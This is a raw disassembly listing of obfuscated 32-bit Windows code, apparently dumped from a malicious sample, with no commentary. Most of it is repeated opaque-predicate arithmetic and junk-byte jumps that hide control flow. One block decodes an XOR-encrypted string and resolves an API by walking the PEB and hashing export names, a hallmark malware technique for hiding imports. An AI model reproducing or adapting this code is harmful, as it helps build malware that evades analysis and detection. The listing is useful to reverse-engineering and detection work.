add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4246ea
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4246ea
mov dword [ebp - 0x2d8], 1
jmp 0x42478d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42478d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 8]
sub eax, 0x11
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x42479b
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42485a
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42485a
mov dword [ebp - 0x2d4], 1
jmp 0x4248fd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4248fd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2d4]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2d8]
mov byte [ebp + eax - 0xef], cl
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x424c52
xor eax, eax
je 0x424965
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3778]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424a1f
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x424a1f
mov dword [ebp - 0x2e4], 1
jmp 0x424ac2
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424ac2
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2e4], eax
xor eax, eax
je 0x424ac7
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3778]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424b81
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x424b81
mov dword [ebp - 0x2dc], 1
jmp 0x424c24
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424c24
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2dc], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2dc]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2e4]
mov byte [ebp + eax - 0xef], cl
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x10
jb 0x423c15
lea eax, [ebp - 0xef]
mov byte [ebp - 0xf0], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x424d70
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bac0
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x420], xmm0
xor byte [ebp + eax - 0x420], 7
inc eax
cmp eax, 0x10
jl 0x424ca2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x424d3d
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x424d3d
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0xce557171
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x424d33
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x424d04
mov eax, dword [ebp - 0x14]
cmp edi, 0x1c857221
je 0x424d44
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x424ce4
mov eax, dword [eax]
jmp 0x424cbc
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x420]
add eax, edx
push ecx
call eax
jmp 0x430ec8
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx*8]
sub esi, ecx
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425019
xor eax, eax
je 0x424db3
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3698]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424e5e
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x424ec0
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424ec0
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx edi, al
imul edi, esi
add edi, edi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x424f07
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424fae
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x430ec8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
jmp 0x430ec8
cmp dword [0x8b00e4], 0
je 0x4261ae
movups xmm0, xmmword [0x7a346c]
mov byte [ebp - 1], 0
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xf
jae 0x42609e
nop dword [eax]
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42537a
xor eax, eax
je 0x42508d
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3770]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425147
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425147
mov dword [ebp - 0x118], 1
jmp 0x4251ea
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4251ea
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x118], eax
xor eax, eax
je 0x4251ef
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3770]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4252a9
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4252a9
mov dword [ebp - 0x114], 1
jmp 0x42534c
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42534c
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x114]
add dl, dl
mov cl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x118]
mov byte [ebp + eax - 0xcf], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425d66
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4256e9
xor eax, eax
je 0x4253fc
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3768]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4254b6
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4254b6
mov dword [ebp - 0x120], 1
jmp 0x425559
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425559
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x120], eax
xor eax, eax
je 0x42555e
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3768]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425618
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425618
mov dword [ebp - 0x11c], 1
jmp 0x4256bb
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4256bb
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x11c]
add dl, dl
mov cl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x120]
mov byte [ebp + eax - 0xcf], cl
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425a15
xor eax, eax
je 0x425728
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3760]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4257e2
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4257e2
mov dword [ebp - 0x128], 1
jmp 0x425885
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425885
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x128], eax
xor eax, eax
je 0x42588a
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
